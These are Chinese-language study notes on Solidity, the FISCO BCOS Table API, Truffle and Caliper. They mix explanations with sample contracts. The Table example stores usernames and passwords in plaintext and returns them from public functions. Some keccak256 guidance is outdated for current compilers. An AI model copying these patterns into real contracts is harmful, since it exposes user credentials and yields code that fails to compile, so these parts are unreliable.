的无符号整数数组。这个数组没有任何元素，因此它没有分配任何存储空间。这种数组在编译时大小就确定了，不能增加或减少元素。uint[](0)：表示一个动态大小的无符号整数数组，并且该数组没有任何元素。这个数组是通过动态分配的，在运行时可以根据需要增加或减少元素。总结来说，uint[0] 是固定大小的数组，且大小为 0，而 uint[](0) 是动态大小的数组，且初始时没有元素。在实际使用中，通常使用 uint[] 表示动态大小的数组，而不是 uint[0]。因为 uint[0] 没有任何实际存储空间，而动态数组可以根据需要进行大小调整。uint[](0)创建有0个参数的动态数组在直接对struct结构体进行实例化时，uint[](0)需要使用new进行创建，否则会报错Explicit type conversion not allowed from "int_const 0" to "uint256[] memory".Company memory newCompany = Company(name,companyAddress,uint(0),new uint[](0),new uint[](0) );在solidity8版本之前声明uint[0]会直接报错keccak256函数比较空字符串keccak256() 函数可以传递可变数量的参数，你可以将任意数量的值作为参数传递给该函数。这些值将在进行哈希计算之前被编码和混合在一起。例如，你可以使用以下方式传递多个参数给 keccak256() 函数：keccak256(value1, value2, value3, ...)在函数内部，所有传递的参数将会被编码和混合，然后进行 Keccak-256 哈希计算，最终返回一个 256 位的哈希值。需要注意的是，传递给 keccak256() 函数的参数的类型必须是 Solidity 支持的合法类型，例如整数、字符串、字节数组等。如果传递的参数类型不正确，编译器将会报错。这段代码使用了 Solidity 中的 keccak256 函数来比较 bank.bankName 是否等于一个空字符串。在 Solidity 中，keccak256 是一个哈希函数，它会接收一个字节数组作为参数，并返回该字节数组的 keccak256 哈希值。在这段代码中，keccak256(bank.bankName) 和 keccak256("") 分别计算了 bank.bankName 和空字符串的 keccak256 哈希值。然后使用 == 运算符来比较这两个哈希值是否相等。如果 bank.bankName 和空字符串的 keccak256 哈希值相等，说明 bank.bankName 是一个空字符串，这表示银行的名称没有被设置。在这种情况下，代码返回 404001。否则，返回值将取决于代码的其他部分，这段代码没有提供更多的信息。需要注意的是，keccak256 是一种哈希算法，它确保即使输入只有微小的变化，哈希值都会有显著的不同。这使得 keccak256 适用于许多加密和完整性校验的应用场景。if (keccak256(name) == keccak256("")) { return 404001; }引入外部合约并实例化进行调用他的方法调用的地址可以是合约地址// SPDX-License-Identifier: MIT pragma solidity >=0.4.0 <=0.8.20; pragma experimental ABIEncoderV2; import "./test88.sol"; contract test888{ address public tt; address public testadd; function test() public returns(address){ test88 adddr = new test88(); tt = address(adddr); testadd = adddr.get(); return testadd; } // test88 adddr = (new test88){value:msg.value}(nbsb,1123); //如果有需要msg.value值的话就需要使用这样方法示例创建,constructor中需要传入两个值进行创建的话 }// SPDX-License-Identifier: MIT pragma solidity >=0.4.0 <=0.8.20; pragma experimental ABIEncoderV2; contract test88{ address public owner; constructor(){ owner = msg.sender; } function get() view returns(address){ return owner; //返回的是上面的那个合约 的合约地址 } }可以进行限制这个合约只能在那个合约中使用 require(_owner == msg.sender, "only trace contract can invoke"); //必须是来自trace合约的地址调用的才可以，在trace函数中，使用new实例化这个内容在进行调用，则的调用地址就是trace合约的地址接口和抽象合约有什么不同？interface abstractpragma solidity ^0.6.0; //请在此处定义接口： interface Calculator{ function getResult() external view returns(uint); } contract Test is Calculator{ //请在下方一行写出合约继承接口的语句： //请在下方一行写出继承的函数定义及其内容: function getResult() external view returns(uint){ uint a = 1; uint b = 2; uint result = a+b; return result; }pragma solidity ^0.6.0; //请在下方定义抽象合约： abstract contract Calculator{ function getResult() public view virtual returns(uint); //使用virtual注解意思是可以进行重写 } //请在下方一行定义继承合约的语句： contract Test is Calculator{ //请在下方一行写出定义函数的语句： function getResult() public view override returns(uint) { uint a = 1; uint b = 2; uint result = a + b; return result; } } solidity中的错误处理pragma solidity ^0.6.0; contract Account { uint public balance; //下方一行没有实际用途，仅作为提示：整形变量的最大数值，超过就会上溢。 uint public constant MAX_UINT = 2 ** 256 - 1; function deposit(uint _amount) public { uint oldBalance = balance; uint newBalance = balance + _amount; // 请在下方一行写出第一个 require 语句： require(newBalance>= oldBalance,"上溢了哦"); balance = newBalance; // 请在下方一行写出第一个 assert 语句： assert(balance>=oldBalance); } function withdraw(uint _amount) public { uint oldBalance = balance; // 请在下方一行写出第二个 require 语句： require(balance>=_amount,"下溢了哦"); // 请在下方写出 if 条件语句： if(balance< _amount){ revert("下溢了哦"); } balance -= _amount; // 请在下方一行写出第二个 assert 语句： assert(balance<=oldBalance); } }委托调用委托这个函数代码进行调用，但是实际更新的是自己函数的值，也是代码复用的一种// SPDX-License-Identifier: MIT pragma solidity ^0.8.18; contract TestDelegateCall { uint public num; address public sender; uint public value; function setVars(uint _num) external payable{ num = _num; sender = msg.sender; value = msg.value; } } contract DelegateCall{ uint public num; address public sender; uint public value; //调用后更新自己的值，而没有更新上面函数的这几个值 function setVars(address _test,uint _num) external payable{ (bool success , bytes memory data ) = _test.delegatecall(abi.encodeWithSelector(TestDelegateCall.setVars.selector,_num)); require(success,"fail "); } } solidityTable的使用// SPDX-License-Identifier: UNLICENSED // SPDX-License-Identifier: MIT pragma solidity ^0.4.25; pragma experimental ABIEncoderV2; import "./Table.sol"; contract Test3 { TableFactory tf; string constant TABLE_NAME = "tb_user33"; // uint count ; constructor() { tf = TableFactory(0x1001); tf.createTable(TABLE_NAME, "id", "username,password"); } function insertTest(string memory _id,string memory _username,string memory _password) public returns(int) { Table table = tf.openTable(TABLE_NAME); //Entry类似于映射实体类对象 Entry entry = table.newEntry(); // Entry 相当于设置了一个类似于java中的bean // count +=1; entry.set("id",_id); entry.set("username", _username); entry.set("password", _password); int res = table.insert(_id, entry); return res; } function selectById(string memory _id,string memory _username) public view returns(string memory,string memory){ Table table = tf.openTable(TABLE_NAME); Condition condition = table.newCondition(); // Condition 就相当于mybatis plus中的wapper，用于设置查询条件 condition.EQ("username",_username); // 将 _id 参数传递给条件对象 Entries entries = table.select(_id, condition); //Entries获取到的是一个数据集，获取数据集中第一个即可得到这个映射的数据 // 检查是否有匹配的记录 Entry entry = entries.get(0); string memory user_name = entry.getString("username"); string memory password_ = entry.getString("password"); return (user_name , password_); } function selectAll(string memory _id) public view returns(string[] memory, string[] memory, string[] memory){ Table table = tf.openTable(TABLE_NAME); Condition condition = table.newCondition(); Entries entries = table.select(_id,condition); string[] memory ids = new string[](uint256(entries.size())); string[] memory usernames = new string[](uint256(entries.size())); string[] memory passwords = new string[](uint256(entries.size())); for(int256 i = 0; i < entries.size(); ++i){ Entry entry = entries.get(i); ids[uint256(i)] = entry.getString("id"); usernames[uint256(i)] = entry.getString("username"); passwords[uint256(i)] = entry.getString("password"); } return (ids , usernames , passwords); } function update(string memory _id , string memory _username , string memory _newUsername) public returns(int256){ Table table = tf.openTable(TABLE_NAME); Entry entry = table.newEntry(); entry.set("username",_newUsername); Condition condition = table.newCondition(); condition.EQ("username",_username); int256 count = table.update(_id, entry, condition); //返回修改的行数 return count; } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.4.25; contract TableFactory { /** * brief 打开表，返回Table合约地址 * param tableName 表的名称 * return 返回Table的地址，当表不存在时，将会返回空地址即address(0x0) */ function openTable(string) public constant returns (Table); // 打开表 /** * brief 创建表，返回是否成功 * param tableName 表的名称 * param key 表的主键名 * param valueFields 表的字段名，多个字段名以英文逗号分隔 * return 返回错误码，成功为0，错误则为负数 */ function createTable(string tableName,string key,string valueFields) public returns(int); } // 查询条件 contract Condition { //等于 function EQ(string, int) public; function EQ(string, string) public; //不等于 function NE(string, int) public; function NE(string, string) public; //大于 function GT(string, int) public; //大于或等于 function GE(string, int) public; //小于 function LT(string, int) public; //小于或等于 function LE(string, int) public; //限制返回记录条数 function limit(int) public; function limit(int, int) public; } // 单条数据记录 contract Entry { function getInt(string) public constant returns(int); function getAddress(string) public constant returns(address); function getBytes64(string) public constant returns(byte[64]); function getBytes32(string) public constant returns(bytes32); function getString(string) public constant returns(string); function set(string, int) public; function set(string, string) public; function set(string, address) public; } // 数据记录集 contract Entries { function get(int) public constant returns(Entry); function size() public constant returns(int); } // Table主类 contract Table { /** * brief 查询接口 * param key 查询主键值 * param cond 查询条件 * return Entries合约地址，合约地址一定存在 */ function select(string key, Condition cond) public constant returns(Entries); /** * brief 插入接口 * param key 插入主键值 * param entry 插入字段值 * return 插入影响的行数 */ function insert(string key, Entry entry) public returns(int); /** * brief 更新接口 * param key 更新主键值 * param entry 更新字段值 *param cond 更新条件 * return 更新影响的行数 */ function update(string key, Entry entry, Condition cond) public returns(int); /** * brief 删除接口 * param key 删除的主键值 * param cond 删除条件 * return 删除影响的行数 */ function remove(string key, Condition cond) public returns(int); function newEntry() public constant returns(Entry); function newCondition() public constant returns(Condition); }
先使用Truffle init初始化文件初始化Truffle项目当你使用 truffle init 命令初始化一个Truffle项目时，会生成以下几个文件夹：contracts 文件夹：这个文件夹是用来存放 Solidity 合约文件的地方。你的项目中的每个合约都应该存放在这个文件夹中。当你使用 truffle compile 命令编译合约时，编译后的合约文件将生成在 build/contracts 文件夹中。migrations 文件夹：这个文件夹用于存放合约的部署脚本（migration scripts）。合约的部署脚本是以 JavaScript 文件的形式存在，用于在以太坊网络上部署和更新合约。Truffle 框架使用这些脚本来管理合约的部署和迁移。你可以在这个文件夹中创建和管理部署脚本。test 文件夹：这个文件夹用于存放合约的测试脚本。在这里，你可以编写用于测试合约功能和逻辑的 JavaScript 测试脚本。Truffle 框架提供了一组强大的工具和库，用于编写和执行测试，确保合约的正确性和稳定性。migrations 和 test 文件夹中的示例文件：Truffle 在这两个文件夹中都提供了一个示例文件，分别是 1_initial_migration.js 和 sample-test.js。这些示例文件可以作为你编写自己的部署脚本和测试脚本的参考。build 文件夹：这个文件夹包含了通过编译合约生成的文件，包括 ABI（Application Binary Interface，应用二进制接口）、合约的字节码以及其他与合约相关的信息。Truffle 框架会自动将编译后的文件保存在这个文件夹中。除了上述文件夹，还会生成一些其他的文件，如 truffle-config.js（或 truffle.js）和 package.json。这些文件用于配置 Truffle 项目的设置和依赖项管理。当有多个部署文件时当你在Truffle的migrations文件夹中只有一个部署脚本时，Truffle会默认执行该部署脚本中的内容。Truffle会按照文件名的字典顺序来执行部署脚本。默认情况下，Truffle使用数字作为部署脚本文件名的前缀（如1_initial_migration.js），以确保它们按照正确的顺序执行。如果你只有一个部署脚本文件，它会是字典顺序中的第一个，因此会被默认执行。你可以在部署脚本中使用Truffle提供的全局函数（如deployer.deploy()）来部署合约。部署脚本可以包含多个合约的部署操作，或者其他你需要执行的任务。如果你想要执行特定的部署脚本，你可以使用truffle migrate --f 命令来指定要执行的部署脚本的索引号。例如，truffle migrate --f 2将执行第二个部署脚本。需要注意的是，Truffle会记录已经执行过的部署脚本，以便在后续的迁移中跳过这些已经执行的脚本，从而避免重复执行。如果你需要重新执行部署脚本，可以使用--reset选项，例如truffle migrate --reset。总结起来，当只有一个部署脚本文件存在时，Truffle会默认执行该部署脚本中的内容。你也可以通过命令行选项来指定要执行的部署脚本，或者使用--reset选项重新执行已经执行过的部署脚本。如果你有多个测试文件如果你有多个测试文件，Truffle提供了一种灵活的方式来执行这些测试文件。以下是一些你可以使用的方法：执行所有测试文件：在命令行中运行 truffle test，Truffle将会执行所有位于 test 文件夹中的测试文件。它会按照文件名的字典顺序执行这些测试文件。执行特定的测试文件：如果你只想执行特定的测试文件，可以在命令行中指定测试文件的路径，例如 truffle test ./test/myTest.js。这将只执行指定的测试文件。按照文件名前缀顺序执行：Truffle会按照文件名的字典顺序执行测试文件。你可以在测试文件的文件名中使用数字前缀，例如 01_test.js、02_test.js，以确保它们按照正确的顺序执行。使用测试文件之间的依赖关系：如果你的测试文件之间有依赖关系，你可以在测试文件中使用 before 或 beforeEach 钩子函数来设置和准备依赖项。这样，你可以确保测试文件按照正确的顺序执行，并在需要时共享依赖项。组织测试文件：你可以在 test 文件夹中创建子文件夹来组织测试文件。Truffle会递归地执行所有子文件夹中的测试文件。这样，你可以根据需求组织和管理测试文件。需要注意的是，Truffle使用Mocha测试框架来运行测试文件。因此，你可以在测试文件中使用Mocha提供的各种功能，例如 describe、it、before、beforeEach 等，以编写清晰、可维护的测试。通过上述方法，你可以轻松地管理和执行多个测试文件，并确保它们按照正确的顺序执行。如果有多个测试文件多个部署文件怎么执行？部署指定合约：在 migrations 文件夹中，确保只有你想要部署的合约的部署脚本文件存在。运行 truffle migrate --f 命令，其中 ` 是指定合约部署脚本的索引号。例如，truffle migrate --f 2` 将从第二个部署脚本开始部署合约。执行指定的测试文件：在 test 文件夹中，确保只有你想要执行的测试文件存在。运行 truffle test 命令，其中 ` 是指定的测试文件的路径。例如，truffle test ./test/myTest.js` 将只执行指定的测试文件。需要注意的是，如果你只想测试特定的合约，确保只有该合约的部署脚本存在。这样，在运行 truffle migrate 时，Truffle只会部署你指定的合约。类似地，确保只有你想要执行的测试文件存在，这样在运行 truffle test 时，Truffle只会执行你指定的测试文件。通过使用这些选项，你可以精确地部署指定的合约并执行指定的测试文件，以便进行有针对性的测试。重入合约的truffle书写演示
npx caliper benchmark run --caliper-workspace caliper-benchmarks --caliper-benchconfig benchmarks/samples/fisco-bcos/helloworld/config.yaml --caliper
这句话是用于在Caliper中运行基准测试的命令。下面是对每个参数的解释：npx caliper benchmark run：表示使用Caliper运行基准测试。--caliper-workspace caliper-benchmarks：表示指定Caliper的工作目录为caliper-benchmarks。--caliper-benchconfig benchmarks/samples/fisco-bcos/helloworld/config.yaml：表示指定基准测试的配置文件为config.yaml，该文件位于benchmarks/samples/fisco-bcos/helloworld/目录下。--caliper-networkconfig networks/fisco-bcos/4nodes1group/fisco-bcos.json：表示指定FISCO BCOS网络的配置文件为fisco-bcos.json，该文件位于networks/fisco-bcos/4nodes1group/目录下。综上所述，这个命令的作用是在Caliper中运行一个基准测试，该测试使用FISCO BCOS网络，并且使用config.yaml文件中的配置来运行测试。
new string[] 是 Solidity 中用于动态创建字符串数组的语法。它的作用是在内存中分配一段连续的空间以存储字符串数组，并返回该数组的指针。其语法格式为：new string[](uint length)其中，length 表示数组的长度。以下举例说明如何使用 new string[] 创建并初始化一个存储字符串的动态数组：pragma solidity ^0.8.0; contract Example { function createArray() public pure returns(string[] memory arr) { // 创建一个长度为 2 的字符串数组 arr = new string[](2); // 给数组赋值 arr[0] = "Hello"; arr[1] = "Solidity"; } }在这个例子中，我们定义了一个名为 Example 的合约，其中包含了一个名为 createArray 的函数。函数返回一个存储字符串的动态数组 arr，初始化并赋值后返回。首先，在 createArray 函数中，我们使用 new string[](2) 创建了一个长度为 2 的字符串数组，并将其赋值给变量 arr。然后，我们给数组 arr 的第 0 个元素赋值 "Hello"，给第 1 个元素赋值 "Solidity"。最后，我们返回数组 arr。需要注意的是，这里使用 new string[] 创建的字符串数组在运行时存储在内存中，而不是永久存储在区块链上，因此其生命周期受限于合约的执行。